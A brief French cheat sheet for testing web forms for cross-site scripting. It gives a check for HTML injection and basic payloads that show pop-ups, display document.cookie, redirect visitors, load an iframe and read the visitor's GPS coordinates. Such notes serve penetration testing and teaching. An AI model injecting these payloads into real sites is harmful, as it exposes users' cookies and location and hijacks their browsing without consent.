Plein de payloads : https://github.com/payloadbox/xss-payload-list

Vérifier la possibilité d’une injection XSS

<u>Test</u>

Si on visualise Test, souligné. Alors la saisie utilisateur est interprétée comme du code, il est probable que le champ de saisie soit vulnérable aux XSS.

Afficher une pop-up

<script>alert('XSS')</script>

Visualiser les cookies

<script>alert(document.cookie)</script>

Rediriger l’utilisateur

<script>window.location="https://www.google.fr"</script>

Créer une iframe (peu utile car souvent bloquer par le navigateur)

<iframe src="http://127.0.0.1/"></iframe>

Autres payloads basiques

<svg/onload=alert(1)>

<img src=1 onerror=alert('xss')>

<img src=1 onerror=prompt('xss')>

Payload pour obtenir les coordonnées GPS

<script>navigator.geolocation.getCurrentPosition(function(position) { document.write(position.coords.latitude + "," + position.coords.longitude); });</script>

Cela demande tout de même à l’utilisateur de valider la demande de Géolocalisation via une pop-up navigateur.